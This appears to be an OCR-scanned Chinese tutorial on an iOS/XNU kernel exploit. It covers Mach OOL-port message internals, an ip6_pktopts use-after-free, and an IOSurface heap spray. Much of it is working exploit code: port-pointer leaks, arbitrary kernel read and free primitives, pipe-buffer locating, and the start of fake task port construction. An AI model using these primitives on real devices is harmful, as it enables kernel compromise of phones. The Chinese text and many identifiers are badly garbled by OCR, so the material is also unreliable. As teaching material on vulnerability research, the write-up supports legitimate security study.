21 len copied = sizeof(mach msg legacy base t);
22 }
23
24 // MRBPEEIVEREIRZE
25 if (copyinmsg(msg addr, (char *)&legacy base, len copied)) {
26 return MACH_SEND_ INVALID DATA;
27 }
28
29 /7 REBAZSTE R EERia it
30 msg_addr += sizeof(legacy base.header);
31
32 // BEMNMESERKNtrailerKE, FMHEZREKEZEXAMERENtrailer, HWLZE

HRRIE
33 // typedef mach msg mac_trailer t mach msg max trailer t;
34 // #define MAX TRAILER SIZE
((mach msg size t)sizeof(mach msg max trailer t))

35 msg_and trailer size = size + MAX TRAILER SIZE;
36
37 // DERZEE
38 kmsg = ipc kmsg alloc(msg and trailer size);

39



// #iAftkmsg.ikm headerZ D FEX

// BIUERR, TR EEtrailer
if (copyinmsg(msg addr, (char *)(kmsg->ikm header + 1), size -
(mach msg size t)sizeof(mach msg header t))) {
ipc_kmsg free(kmsg);
return MACH_SEND INVALID DATA;

// BidsizetFkmsgREPtraileriBiAtthE, HITIAK

trailer = (mach msg max trailer t *) ((vm _offset t)kmsg-
>ikm header + size);

trailer->msgh sender = current thread()->task->sec_ token;

trailer->msgh _audit = current thread()->task->audit token;

trailer->msgh_trailer type = MACH_MSG_TRAILER FORMAT O0;

trailer->msgh trailer size = MACH MSG TRAILER MINIMUM SIZE;

trailer->msgh labels.sender = 0;

*kmsgp = kmsg;
return MACH MSG_SUCCESS;

BREN ipc_kmsg_copyin() @HIXBERDITNEE, BMUEERMEETWSITXNHD, R
#{ ipc_kmsg _copyin_header() IREIEDTHIEETT K, TEFR
i&ipc_kmsg_copyin_body()

mach msg return t

ipc_kmsg copyin(

ipc_kmsg t kmsg,
ipc_space t space,
vm map t map,

mach msg priority t override,

mach msg option t *optionp)

{
mach msg return t mr;
kmsg->ikm header->msgh bits &= MACH MSGH BITS USER;
mr = ipc_kmsg copyin header(kmsg, space, override, optionp);
if ((kmsg->ikm header->msgh bits & MACH MSGH BITS COMPLEX) == 0)
return MACH_MSG_ SUCCESS;
mr = ipc_kmsg copyin body( kmsg, space, map, optionp);
return mr;
}

%M ipc_kmsg_copyin_body () FCHIBTOOLEIBR T HESM, HEMIBERMAZTEHITH
2 Eiﬁﬁﬂﬁﬁﬁaéggéﬁiﬁipc_kmsg_copyin_ool_ports_descriptor()



mach _msg return_t

ipc _kmsg copyin body (

ipc_kmsg t kmsg,
ipc_space t space,
vm_map_ t map,

mach msg option t *optionp)

ipc_object t dest;

mach msg body t *body;

mach msg descriptor t *daddr, *naddr;

mach msg descriptor t *user addr, *kern_ addr;

mach msg type number t dsc_count;

// #define VM MAX ADDRESS ((vm_address_t) 0x80000000)

boolean t is_task 64bit = (map->max offset >

VM_MAX_ADDRESS) ;

boolean_t complex = FALSE;

vm_size t space _needed = 0;
vm_offset t paddr = 0;

vm_map copy t copy = VM _MAP COPY NULL;
mach msg type number t 1i;

mach msg return t mr = MACH_MSG_SUCCESS;
vm_size t descriptor size = 0;

mach msg type number t total ool port count = 0;

// BinimO

dest = (ipc_object t) kmsg->ikm header->msgh remote port;

// RIZEHE B RRIEE iRt

body = (mach msg body t *) (kmsg->ikm header + 1);

naddr = (mach msg descriptor t *) (body + 1);

// WRmsgh_descriptor_ countHORTISEEIE, HERE, MAFHITIRENZL
dsc_count = body->msgh descriptor count;

if (dsc_count == 0) return MACH MSG SUCCESS;

daddr = NULL;
for (i = 0; i < dsc_count; i++) {
mach msg size t size;

mach msg type number t ool port count = 0;
daddr = naddr;

/* make sure the descriptor fits in the message */
// ZEt3{Amach msg ool ports descriptor tZHE—PFE ML
// void* address;
// 64(UR8FTI, 32{URB4FT
if (is_task 64bit) {

switch (daddr->type.type) {



case MACH_MSG OOL_ DESCRIPTOR:

case MACH MSG OOL_VOLATILE DESCRIPTOR:

case MACH MSG_OOL_PORTS DESCRIPTOR:
descriptor size += 16;
naddr = (typeof(naddr))((vm offset t)daddr + 16);
break;

default:
descriptor size += 12;
naddr = (typeof(naddr))((vm offset t)daddr + 12);
break;

}

} else {
descriptor size += 12;
naddr = (typeof(naddr))((vm offset t)daddr + 12);

user addr = (mach msg descriptor t *)((vm offset t)kmsg-
>ikm header + sizeof(mach msg base t));
/! FIREEELR, BIARB1 M descriptorfIA/)y, 1MKERL6FT, BINZE
HZE1T, FMANFEES
if (descriptor size != 1l6*dsc_count) {
vm_offset t dsc_adjust = 16*dsc_count - descriptor size;
memmove ( (char *)(((vm _offset t)kmsg->ikm header) -
dsc_adjust), kmsg->ikm header, sizeof(mach msg base t));
kmsg->ikm header = (mach msg header t *)((vm _offset t)kmsg-
>ikm header - dsc_adjust);

kmsg->ikm header->msgh size += (mach msg size t)dsc_adjust;

kern addr = (mach msg descriptor t *)((vm offset t)kmsg-

>ikm header + sizeof(mach msg base t));

/* handle the OOL regions and port descriptors. */
for(i = 0; i < dsc_count; it++) {
switch (user addr->type.type) {
case MACH MSG_OOL_PORTS DESCRIPTOR:
user_addr =
ipc_kmsg copyin ool ports descriptor((mach msg ool ports descriptor t
*)kern addr,
user addr, is_task 64bit, map, space,
dest, kmsg, optionp, &mr);
kern addr++;
complex = TRUE;

break;



} /* End of loop */

B %M ipc_kmsg copyin ool ports descriptor() T FAIBOOLEUE, AR T —1TXxENXR
#{ ipc_object copyin()

mach msg descriptor t *
ipc_kmsg copyin ool ports descriptor(
mach msg ool ports descriptor t *dsc,
mach msg descriptor t *user dsc,
int is_64bit,
vm_map t map,
ipc_space t space,
ipc_object t dest,
ipc_kmsg t kmsg,
mach msg option t *optionp,

mach msg return t *mr)

void *data;

ipc _object t *objects;

unsigned int i;

mach _vm offset t addr;

mach msg type name t user disp;

mach msg type name t result disp;
mach msg type number t count;

mach msg copy options t copy option;
boolean t deallocate;

mach msg descriptor type t type;

vm_size t ports_length, names_length;

if (is_64bit) {
mach msg ool ports_descriptor64 t *user ool dsc =
(typeof (user_ool dsc))user_dsc;
addr = (mach_vm offset t)user ool dsc->address;
count = user ool dsc->count;
deallocate = user ool dsc->deallocate;
copy_option = user_ool_dsc->copy;
user disp = user ool dsc->disposition;
type = user ool dsc->type;
user dsc = (typeof(user dsc)) (user ool dsc+l);
} else {

}
data = kalloc(ports_length);



#ifdef  LP64

mach port name t *names = &((mach port name t *)data)[count];
#else

mach port name t *names = ((mach port name t *)data);
#endif

objects = (ipc_object t *) data;

dsc->address = data;

for (i = 0; i < count; i++) {
mach port name t name = names[i];
ipc _object t object;
if (!MACH_PORT VALID(name)) {

objects[i] = (ipc_object t)CAST MACH NAME TO_ PORT (name);
continue;
}
kern return t kr = ipc_object copyin(space, name, user disp,
&object);
objects[i] = object;
}

return user_dsc;
PRES ipc_object copyin() BIEMTHREL: ipc right lookup write()
ipc_right copyin()

kern_return_t

ipc_object copyin(

ipc_space t space,

mach port name t name,

mach msg type name t msgt name,
ipc_object t *objectp)

ipc_entry t entry;

ipc _port t soright;
ipc_port t release port;
kern return_ t kr;

int assertcnt = 0;

kr = ipc_right lookup write(space, name, &entry);
release_port = IP_NULL;
kr = ipc_right copyin(space, name, entry,

msgt name, TRUE,

objectp, &soright,



&release port,
&assertcnt);

return kr;

@Eiﬂipc_right_lookup_write()ﬂﬁﬁﬁﬁ@i&ipc_entry_lookup(), ﬂi[]ﬁﬁ%ﬁﬁﬁﬁ%entry

kern return t

ipc_right lookup write(
ipc_space t space,
mach port name t name,

ipc_entry t *entryp)

ipc_entry t entry;

is write lock(space);

if ((entry = ipc_entry lookup(space, name)) == IE NULL) {
is_write unlock(space);
return KERN INVALID NAME;

}

*entryp = entry;

return KERN_SUCCESS;

XEFERMMIZ, —TMREMW(K ipc_space, EREENTaskWIPCEE, B—1REW

K ipc_entry, EIEMINEEMIK ipc object, LA ipc _space E— A5 is_table &
[TATFFEHBITaskFTER ipc_entry, EHITXEMNIFR, ipc_entry FEM@HAY

i ipc_port,, WHiE, TE entry ZRNINZEHITIGEANN Task Port FERASRIMIE

ipc_entry t
ipc_entry lookup(
ipc_space t space,

mach_port_name_t name)

mach port index t index;

ipc_entry t entry;

index = MACH PORT INDEX(name);

if (index < space->is_ table size) {

entry = &space->is table[index];

return entry;



BEFEIZE, KREY ipc_object copyin() BIZ %M objectp 2 1FfEZICallerid
i&ipc_kmsg_copyin_ool_ports_descriptor() #J objects[] FNAHE, #(4H objects[] &
PR %Y ipc_kmsg copyin ool ports descriptor H{TAFEZTE)DES, FAAFRKINIRELL

ports length EF inp->in6p outputopts AR, BABAILE DRI BEMNBRIGERNZT 82

1 data = kalloc(ports length);
2 objects = (ipc_object t *) data;

BT —KZEEAE, TRLAE



%@UE—/P Ports ﬁ%ﬂﬁﬁ?ﬁﬁﬁg)\ﬂ’\]ﬁﬁpﬁ Task Port, %Emlﬁ OOL Message, ,E\:'E'%B;F
BE, FE&H msg->00l ports.address flmsg->00l ports.count , X MMEFFTIT, 1A

AR msg send() RIXHE, WRMESRERNELE, BHAFS rask Port ¥4 Task Port
FIRZSHIEFH B AT IZAFEEE)

1 mach port t fill kalloc with port pointer(mach port t target port,

int count, int disposition) {



mach_port_t g = MACH_PORT_NULL;
kern return t err;
err = mach port allocate(mach_ task self(),
MACH_PORT RIGHT RECEIVE, &q);
mach port t* ports = malloc(sizeof(mach port t) * count);
for (int i = 0; i < count; i++) {
ports[i] = target port;
}
struct ool msg* msg = (struct ool msg*)calloc(l, sizeof(struct
ool msqg));
msg->hdr.msgh _bits = MACH MSGH BITS COMPLEX |
MACH MSGH BITS(MACH MSG TYPE MAKE SEND, 0);
msg->hdr.msgh size = (mach msg size t)sizeof(struct ool msg);
msg->hdr.msgh remote port = q;
msg->hdr.msgh_local port = MACH_PORT NULL;
msg->hdr.msgh id = 0x41414141;
msg->body.msgh descriptor count = 1;
msg->00l ports.address = ports;
msg->00l ports.count = count;
msg->00l ports.deallocate = 0;
msg->00l ports.disposition = disposition;
MACH _MSG_OOL_PORTS DESCRIPTOR;
MACH _MSG_PHYSICAL COPY;

msg->o00l ports.type

msg->00l ports.copy
err = mach msg(&msg->hdr,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
msg->hdr.msgh size,
0,
MACH PORT NULL,
MACH MSG_TIMEOUT NONE,
MACH PORT_ NULL);

return qg;

Z5H9{K ip6 pktopts BIA/NE 192, FIKIEIFINAYSL RGN PSR, KIMNEEED
EWEENLERT, ARABR sizeof () FiTE, XERIBEEMIKNEA DM, HTET
ip6po minmtu ] ip6po prefer tempaddr HITHE, BIRIEIN T AIZIEHIFIEFITHIRT

uint64 t find port via uaf(mach port t port, int disposition) {
int sock = get socket with dangling options();
for (int i = 0; i < 0x10000; i++) {
mach port t p = f£fill kalloc _with port pointer(port,
192/sizeof (uint64 t), MACH MSG_TYPE COPY SEND);
int mtu;
int pref;
get minmtu(sock, &mtu); // this is like doing rk32(options +
180);



8 get prefertempaddr(sock, &pref); // this like rk32(options +

184);

9 uint64 t ptr = (((uint64 t)mtu << 32) & Oxfffffff£00000000) |
((uint64 t)pref & 0x00000000ffffffff);

10 if (mtu >= Oxffffff00 && mtu != Oxffffffff && pref !=
Oxdeadbeef) {

11 mach port destroy(mach task self(), p);

12 close(sock);

13 return ptr;

14 }

15 mach port destroy(mach task self(), p);

16 }

17 close(sock) ;

18 return 0;

19 }

5. St EEIPC_SPACER %1ttt

FEMEE Task Port WZSHEIEAIET R, TR RNE EHPortIfZ PR B o iFE A RS
LI FIEPTIENRNFRER AR, MM EARETIIE FREIE, MEREREMRE
A VSEIRIE

BCRELEMIN ip6_pktopts , MAR—TIEHIERAX—FELBRBIENALZE, BilEd
REH XA MEX FARZEE EBAENEE, BLAMBLT EEFERR

1. BARIBRXAAFHRBEESHE?
2. BANREHRHENEIESEMARERTHULERIE?

1  struct 1ip6 pktopts {

2 struct mbuf *ip6po m; /* Pointer to mbuf storing the data */
3 int ip6po hlim; /* Hoplimit for outgoing packets */

4 struct 1in6 pktinfo *ipé6po pktinfo;

5 struct ipé6po nhinfo ip6po nhinfo;

6 struct ip6 hbh *ip6po hbh; /* Hop-by-Hop options header */
7 struct 1ip6 dest *ip6po destl;

8 struct ipé6po rhinfo ip6po rhinfo;

9 struct 1ip6 dest *ip6po dest2;

10 int ipépo_ tclass; /* traffic class */

11 int ip6po minmtu; /* fragment vs PMTU discovery policy */
12 int ip6po prefer tempaddr;

13 int ip6po_ flags;



ENEMEERIFRRR, BT UB ISR ip6_pktopts BIF L NEMIRER G, tHIN%E
¥I{K ip6po_pktinfo, FBAFAIR BT ML MEIMAK GAFTERBIZE N M E LR
tt, IREEITE ip6po_minmtu H—MIFEE, AGEHEBRXTHEFNEREIIANGTE, FIAX
£ getsockopt () & ESockethy ip6po minmtu BB NBEAVFRICHIFEE

MRBREERFRTIRESocket EAMINGLE T HAMIERIENIE, BBITHLN getsockopt ()
RENEHIAZE ip6po_pktinfo RIEENAIM EE HISHBII AR, LMK in6_pktinfo IR/
7920795, FMAEZE LI T R read 20 _via uaf () AT IMHEEIEE MU AUENIE

1 void* read 20 via uaf(uint64 t addr) {

2 int sockets[128];

3 for (int i = 0; i < 128; i++) {

4 sockets[i] = get socket with dangling options();

5 }

6 struct ip6 pktopts *fake opts = calloc(l, sizeof(struct
ip6 pktopts));

7 fake opts->ip6po minmtu = 0x41424344; // IREIFIHE

8 *(uint32_ t*)((uint64 t)fake opts + 164) = 0x41424344;

9 fake opts->ip6po pktinfo = (struct iné pktinfox*)addr; // IXREEIEMN
Attt

10 bool found = false;

11 int found at = -1;

12 for (int i = 0; i < 20; i++) {

13 spray IOSurface((void *)fake opts, sizeof(struct
ip6_pktopts)); // M

14 for (int j = 0; j < 128; j++) {

15 int minmtu = -1;

16 get minmtu(sockets[]j], &minmtu);

17 if (minmtu == 0x41424344) { // BTHREHFMTE, RKIFMHkE

18 found_at = j; // save its index

19 found = true;

20 break;

21 }

22 }

23 if (found) break;

24 }

25 free(fake opts);

26 if (!found) {

27 printf("[-] Failed to read kernel\n");

28 return 0;

29 }

30 // BHERMsocket#XH]

31 for (int i = 0; i < 128; i++) {

32 if (i != found at) {

33 close(sockets[i]);

34 }



35 }

36 // Bid R E getsockopt () IKENfake opts->ip6po pktinfolIENiE
37 void *buf = malloc(sizeof(struct iné6 pktinfo));
38 get pktinfo(sockets[found at], (struct in6 pktinfo *)buf);
39 close(sockets[found at]);
40 return buf;
41 '}
IMIMIEERIENRIELEZE T, M THXEM I ESEEFAEIEHERZ inp-

>in6p_outputopts , Befl IS —MEAYERTS: HITHEXIK

%?F‘%‘ﬁﬂﬂﬁ'—i&H“é‘ﬁUTME?&E’\Jﬁ*Jd(%EJL‘k‘/}% )53\(25’]'*_52 Overview of
BEAEE1FH

*Uﬁﬁ IoSurface ¥

OSUnserializeBinary,

® Analysis and exploitation of Pegasus kernel vulnerabilities (CVE-2016-4655 / CVE-2016-
4656)

BXBEMNECHEREEREMNICR
HEEBNER I REE: OSUnserializeBinary() %5OSUnser1allzeXML()

BB RFER AT USSR, —MEXML, B—FfEBinary, BinaryBI{ 2 uint32 Jyz£H
REUE, HEUELERZ 0x000000d3 BYBTR, S BEIPEEIREY osunserializeBinary () 202

uint32 KEZE32M(I, WHME4TFT, ERMUABTRTERTR, H24UFIB0URRFMHEIE

&, HOF2MURTEERE

0(31) 0000000(24) 000000000000000000000000

1 #define kOSSerializeBinarySignature "\323\0\0" /* 0x000000d3 */
2

3  enum {

4 kOSSerializeDictionary = 0x01000000U,
5 kOSSerializeArray = 0x02000000U,
6 kOSSerializeSet = 0x03000000U,
7 kOSSerializeNumber = 0x04000000U,
8 kOSSerializeSymbol = 0x08000000U,
9 kOSSerializeString = 0x09000000U,
10 kOSSerializeData = 0x0a000000U,
11 kOSSerializeBoolean = 0x0b000000U,
12 kOSSerializeObject = 0x0c000000U,
13 kOSSerializeTypeMask = 0x7F000000U,
14 kOSSerializeDataMask = 0x00FFFFFFU,
15 kOSSerializeEndCollection = 0x80000000U,
16  };


http://jndok.github.io/2016/10/04/pegasus-writeup/

B FRIBERITEITFE, 0x00000043 RniXEBinaryt&EDt,, 0x81000002 RZHAIE
& kosSSerializeDictionary REM I TTER, & FRUKERTR, F— 1R

&= kOSSerializeString, JTRKERS, 0x00414141 RRTTRE

&, kOSSerializeBoolean RsE _TIitH, =E—MEIEF RS True o3& False

0x000000d3 // kOSSerializeBinarySignature

0x81000002 // kOSSerializeDictionary | 2 | kOSSerializeEndCollection
0x09000004 // kOSSerializeString | 4

0x00414141 // ARA

0x8b000001 // kOSSerializeBoolean | 1 | kOSSerializeEndCollection

g & W N

RIFEHADH, EE—EREUENBAERAT, ETEFHERERER 00 BIERFER HUN

<dict>
<string>AAA</string>
<boolean>1</boolean>

</dict>

=N

ETITEIE—EEEE, ETRNEFFERIZIMTESRN

EE{ERREN spray_10surface() EABARANOSZI 7R, 32 RAEW32RMERE, 256 &
TMEENBETENE

1 int spray IOSurface(void *data, size t size) {

2 return !IOSurface spray with gc(32, 256, data, (uint32 t)size,
NULL) ;

3 }

BRIZN 10Surface_spray_with _gec() fENEER, HIZFAAX
#{ 10Surface spray with gc_internal(), mfg—" 15 callback IXEN NULL, LA

F4bE

1  bool

2 IOSurface spray with gc(uint32 t array count, uint32 t array length,

3 void *data, uint32 t data_size,

4 void ("callback) (uint32 t array id, uint32 t data_id, void
*data, size t size)) {

5 return IOSurface spray with gc internal(array count, array length,
0,

6 data, data size, callback);

7}

Bx 22 SCINE PR 28 IOSurface_spray_with_gc_internal()E, X R E Z:, BiIRRE
EIA1TIR D

(s
&



#Ja1t 1osurface 3KEY 10SurfaceRootUserClient

1  bool ok = IOSurface init();

HEE—1 data MEEM xvL Unit HE, BN 00 HLENNERE, data size FEEE1HH
T8, EXMEnLERE

1 size t xml units per data = xml units for data size(data_size);
2
3 static size t
4  xml units for data size(size t data size) {
5 return ((data size - 1) + sizeof(uint32 t) - 1) /
sizeof (uint32 t);
6 }

EEaNF R KEAN3FT, ML oo BLEMME4FT, FEIT uint32

1 0x09000004 // kOSSerializeString | 4
2  0x00414141 // AAA

BURFHEREZ7FY, L oo HILFMESFY, MAMEE2D uint32, WHME LEIT
B XML Unit

1 0x09000008 // kOSSerializeString | 4
2 0x41414141 // AAAA
3 0x00414141 // AAA

REFRZT 1, 87T 1#E— 1T uint32 XEWEHE, XTEBEFEREMESEHNREEDT,
XBEITENE— T REMNXMLITEERN xvL unit, HFEE 72567 data, B data FE
SR XML Unit NPREI xml units for data size() TENGR, M BRERRAE
M data BE— kosSerializestring fENTTENE, X TIEGAT uint32

1 size t xml units = 1 + 1 + 1 + (1 + xml units per data) *

current array length + 1 + 1 + 1;

FETHTEREEN xnl_units Zf5, FTEFRSEREFZE, xmlfo] AEKHA



struct IOSurfaceValueArgs {
uint32 t surface id;
uint32 t outl;
union {
uint32 t xml[O0];

char string[0];
}i

struct IOSurfaceValueArgs *args;
size t args_size = sizeof(*args) + xml units * sizeof(args->xml[0]);

args = malloc(args_size);

RXRREEN—F, BENTEN/ITMHIESREXEEAR
%&serialize_IOSurface_data_array()iﬁ?iﬁ%?gm]XML$@ﬁ§

uint32 t **xml data = malloc(current array length *
sizeof (*xml data));

uint32_t *key;

size t xml_size = serialize IOSurface data array(args->xml,
current array length, data size, xml data, &key);

K% serialize IOSurface data array() NMESRERNBIEEIFMANRER, siE6 1T 1%
XEB{KIF) kosSerializeBinarySignature HiTH

static size t
serialize IOSurface data array(uint32 t #*xml0O, uint32 t array length,
uint32 t data_size,
uint32 t **xml data, uint32 t **key) {
uint32_ t *xml = xmlO0;
*xml++ = kOSSerializeBinarySignature;

*xml++ = kOSSerializeArray | 2 | kOSSerializeEndCollection;
*xml++

kOSSerializeArray | array length;

for (size t i = 0; i < array length; i++) {

uint32 t flags = (i == array length - 1 ?
kOSSerializeEndCollection : 0);

*xml++ = kOSSerializeData | (data_size - 1) | flags;

xml data[i] = xml; // iExEHERE, BEATERdata

xml += xml units for data size(data size);
}
*xml++ = kOSSerializeSymbol | sizeof(uint32 t) + 1 |
kOSSerializeEndCollection;
*key = xml++; // This will be filled in on each array loop.
*xml++ = 0; // Null-terminate the symbol.

return (xml - xml0) * sizeof(*xml);



18}

=&AFIERY xML WF

1 <kOSSerializeBinarySignature />

2 <kOSSerializeArray>2</kOSSerializeArray>

3 <kOSSerializeArray length=${array length}>

4 <kOSSerializeData length=${data size - 1}>
5 <!-- xml data[0] -->

6 </kOSSerializeData>

7 <kOSSerializeData length=${data size - 1}>
8 <!-- xml data[l] -->

9 </kOSSerializeData>

10 <l—= ... ==>

11 <kOSSerializeData length=${data size - 1}>
12 <!-- xml data[array length - 1] -->

13 </kOSSerializeData>

14 </kOSSerializeArray>

15 <kOSSerializeSymbol>${sizeof(uint32 t) + 1}</kOSSerializeSymbol>
16 <key>${key}</key>

17 | 0

HEREAAE T —1 xvL 21, FnEEEEREYE, BERNEUED IMmE D ‘EB?J\ FIERY
data, B—ED iR key, STRIETEIERERE IOSurface_set_value() , IZREEH
#§ T0CconnectCallMethod () I3, AT RIAZAIZEIE

1  for (uint32 t array id = 0; array id < array count; array id++) {

2 *key = base255 encode(total arrays + array_ id);

3 for (uint32 t data_id = 0; data id < current array length;
data_id++) {

4 memcpy (xml data[data id], data, data size - 1);

5 }

6 ok = IOSurface set value(args, args_size);

7}

FTRNEMBANT, HEET oA HEEIRSEE

1 static uint32 t total arrays = 0;

2 static bool

3 IOSurface spray with gc internal(uint32 t array count, uint32 t
array length, uint32 t extra_ count,

4 void *data, uint32 t data_size,

5 void (“callback) (uint32 t array id, uint32 t data id, void
*data, size t size)) {

6 // A1t I0Surface, FKENIOSurfaceRootUsercClient T XK E0ER



10
11
12

13
14
15

16
17
18
19
20
21

22
23

24
25
26
27
28
29
30
31
32
33
34
35
36
37

38
39
40
41
42
43
44
45

bool ok = IOSurface init();

// Bitextra count}0, EIRIEBMIRAKEN256, HATERRBIMENRIE
data

uint32_ t current_array_length = array length + (extra count > 0 ?
1 :0);

// HTEB—THATRdatafTRENTRHNE

size t xml units per data = xml units for data size(data size);

size t xml units = 1 + 1 + 1 + (1 + xml units per data) *
current array length + 1 + 1 + 1;

// Allocate the args struct.

struct IOSurfaceValueArgs *args;

size t args_size = sizeof(*args) + xml units * sizeof(args-
>xml[0]);

args = malloc(args_size);

// Build the IOSurfaceValueArgs.

args->surface id = IOSurface id;

// Create the serialized OSArray. We'll remember the locations we
need to fill in with our

// data as well as the slot we need to set our key.

uint32 t **xml data = malloc(current array length *
sizeof (*xml data));

uint32_ t *key;

size t xml size = serialize IOSurface data_ array(args->xml,

current array length, data size, xml data, &key);

// Keep track of when we need to do GC.
size t sprayed = 0;

size t next gc_step = 0;

for (uint32 t array id = 0; array id < array count; array id++) {
// If we've crossed the GC sleep boundary,
// sleep for a bit and schedule the next one.
// Now build the array and its elements.
*key = base255 encode(total arrays + array id);
for (uint32 t data_id = 0; data id < current array length;
data_ id++) {
// Copy in the data to the appropriate slot.

memcpy (xml data[data id], data, data size - 1);

// Finally set the array in the surface.
ok = IOSurface set value(args, args_size);
if (ok) {

sprayed += data size * current array length;



46 }

47 }

48 if (next gc_step > 0) {

49 // printf("\n");

50 }

51 free(args);

52 free(xml _data);

53 total arrays += array count;
54 return true;

55 }

IR TR ITRIXE, FRMEFRS, BMREFERSIENREZE, MeIlEARR
W rke4 via uaf () HITHGRIZIE

uint64 t rk64 via uaf(uint64 t addr) ({
void *buf = read 20 via uaf(addr);
if (buf) {
uint64 t r = *(uint64 t*)buf;
free(buf);
return r;

}

return 0;

OW 00 3 o U1 & W N =

BMELE—HBRIRENT Task Port RIMIZSHELL, RIBEMARTE, FA1TLAIREY
Z| 1pc_spacE FYAZ It

1 uint64 t ipc_space kernel = rké64 via uaf(self port addr +
koffset (KSTRUCT OFFSET IPC PORT IP_ RECEIVER));
if (!ipc_space_ kernel) ({

printf("[-] kernel read primitive failed!\n");

goto err;

}

printf("[i] ipc_space kernel: 0x%1lx\n", ipc_space kernel);

S U1 b W

SRER— T 2R

1 [i] our task port: Oxfffffff00lc3cc38
2 [i] ipc_space kernel: Oxfffffff000a22fc0

6. fEE i Pipe Buffer

PipeEER— T AIMABTEHEEENG, ERERRETXITRFANEFEEHITEERNE
5, fds[1] BTEALE, fds[o] ATIEEEIRE



EEANINAEIES TARTE 0 BUMIE, FHAIBA 0x10000 F71, A TIn#EEanE 0x10000, HI
I11EEY 0x10000 FTRIAIR, THAZREEFBENE 0

RE—95 s FOIAETXERN T BT EEAERRER MAMEHNSIEERXFETX, 7
ME#IZE 8 FTREYE

1 int fds[2];

2 ret = pipe(fds);

3 uint8 t pipebuf[0x10000];

4  memset (pipebuf, 0, 0x10000);

5 write(fds[1l], pipebuf, 0x10000); // do write() to allocate the buffer
on the kernel

6 read(fds[0], pipebuf, 0x10000); // do read() to reset buffer position

7 write(fds[l], pipebuf, 8); // write 8 bytes so later we can read the
first 8 bytes

HIEANVAFEREL setsockopt () Y, RTEAARIKEL ip6 setpktopt ()

1 setsockopt(sock, IPPROTO IPV6, IPV6 PKTINFO, pktinfo,

sizeof (*pktinfo));

kIR A 1pve PRTINFO Y, 1S KIM—1i2B4E: R pktinfo->ipi6 ifindex 0

H spktinfo->ipi6 addr FFIERY 12 DMETHEIEDLHZ o, MESERX

#§ ip6_clearpktopts () FIEHAIA ip6_pktopts->iné_pktinfo, X PFIMTFRMAEMH—T
MEBNEMREIEEZE 0 MSEFER

=

define IN6 IS ADDR UNSPECIFIED(a) \

2 ((*(const __ uint32 t *)(const void *)(&(a)->s6_addr[0]) == 0) &&
\

3 (*(const _ uint32 t *)(const void *)(&(a)->s6_addr[4]) == 0) && \

4 (*(const _ uint32 t *)(const void *)(&(a)->s6_addr[8]) == 0) && \

5 (*(const __ uint32 t *)(const void *)(&(a)->s6_addr[1l2]) == 0))

6

7 static int

8 1ip6_setpktopt(int optname, u_char *buf, int len, struct ip6 pktopts
*opt,

9 int sticky, int cmsg, int uproto)

10 {

11 int minmtupolicy, preftemp;

12 int error;

13 boolean t capture exthdrstat out = FALSE;

14

15 switch (optname) {

16 case IPV6_2292PKTINFO:

17 case IPV6_PKTINFO: {



18 struct ifnet *ifp = NULL;

19 struct in6 pktinfo *pktinfo;

20

21 if (len != sizeof (struct in6 pktinfo))

22 return (EINVAL);

23

24 pktinfo = (struct in6 pktinfo *)(void *)buf;

25

26 if (optname == IPV6 PKTINFO && opt->ipé6po pktinfo &&
27 pktinfo->ipi6 ifindex == 0 &&

28 IN6 IS ADDR UNSPECIFIED(&pktinfo->ipi6 addr)) {
29 ip6 clearpktopts(opt, optname);

30 break;

31 }

32

33 0o

34 }

K%Y ip6_clearpktopts () VA FREE () FHATRME T XEE, XEEPRE T HNSERN
B, ATHITZAXDTNER, FTEZRA

1 #define R Free(p) FREE((caddr t)p, M RTABLE);

2 #define FREE(addr, type) \

3 _FREE( (void *)addr, type)

4 #define FREE(addr, type) \

5 _FREE( (void *)addr, type)

6 #define free FREE

7 #define FREE(addr, type) free((void *)addr, type, _ FILE ,
__LINE_ )

8

9 void

10 1ip6_ clearpktopts(struct ip6 pktopts *pktopt, int optname)
11 {

12 if (optname == -1 || optname == IPV6_ PKTINFO) {
13 if (pktopt->ip6po pktinfo)

14 FREE (pktopt->ip6po pktinfo, M IP6OPT);
15 pktopt->ip6po pktinfo = NULL;

16 }

17

18 000

19 }

BINMEREINEMPipeZ X REE /RN, AFI0SurfaceEFHERIXMPipess
X RIS RO EIE, WIS RSN setsockopt () IRBEE in6_pktinfo LMIREIER o 7
A B XN Pipess it X AR IR



RIFEFHAVHEE L RA Task port JKENPipe P XMtt, FEARNRFMARISHEERE MR

1 uint64 t task = rk64 check(self port addr +
koffset (KSTRUCT OFFSET IPC_PORT IP_ KOBJECT));
2 uint64 t proc = rk64 check(task +
koffset (KSTRUCT OFFSET TASK BSD INFO));
3 uint64 t p fd = rk64 check(proc + koffset(KSTRUCT OFFSET PROC P FD));
4 uint64_t fd_ofiles = rké64_check(p_fd +
koffset (KSTRUCT OFFSET FILEDESC FD OFILES));
5 uint64 t fproc = rk64 check(fd ofiles + £fds[0] * 8);
6 uint64 t £ fglob = rk64 check(fproc +
koffset (KSTRUCT OFFSET FILEPROC F FGLOB));
7 uint64 t fg data = rk64 check(f fglob +
koffset (KSTRUCT OFFSET FILEGLOB FG DATA));
8 uint64 t pipe buffer = rk64 check(fg data +
koffset (KSTRUCT OFFSET PIPE BUFFER));
9 printf("[*] pipe buffer: 0x%11x\n", pipe buffer);

PRZ free via uaf() SHRE rk64_via uvaf() BIHE D —H, HBEBEICE—HEEFEREMN
Socket, AEEMER, AT XBERES—HIETEMIR in6_pktinfo FUE, FAIUEEIFHAE
RHZ2—1T2N 0 IR, BAMESHAEHITEBURIE

1 int free via uaf(uint64 t addr) {

2

3

4 struct in6 pktinfo *buf = malloc(sizeof(struct iné6 pktinfo));
5 memset (buf, 0, sizeof(struct in6 pktinfo));

6 int ret = set pktinfo(sockets[found at], buf);

7 free(buf);

8 return ret;

9|}

RIHARESE TREIXEMEARSZ T, R TRABBAN—TRERT: HIE—TPort

7. {7i&Task Port

#&iX: EASMAPRZiPhone 7FHASIANNZ 2], RZIARIAFPSHAFSHERE, mBasn
iR ZiPhone 6, FTLARTEIFEXM TSMAPHITZTERE, (BIETRIZENEREHM

15— target B F{A1&Port, K% find port via uaf () BIIOOLEUEBrhiEiaPortAA
MZSHE RO BISREXPOrt AU A S HENE target _addr, BREX free via uaf() 4§ pipe buffer
EFEBUE, (BEBYM £ds(0] M £ds[ 1] KIBFB X T ARE A XINZE IR



1 mach port t target = new port();
2 uint64 t target addr = find port via uaf(target,
MACH MSG_TYPE COPY SEND);

3 ret = free via uaf(pipe buffer);

X MMBIAAVIRIER RIRREL £ind_port_via_uaf() , FIFABNEIRM Task Port AR HLLE
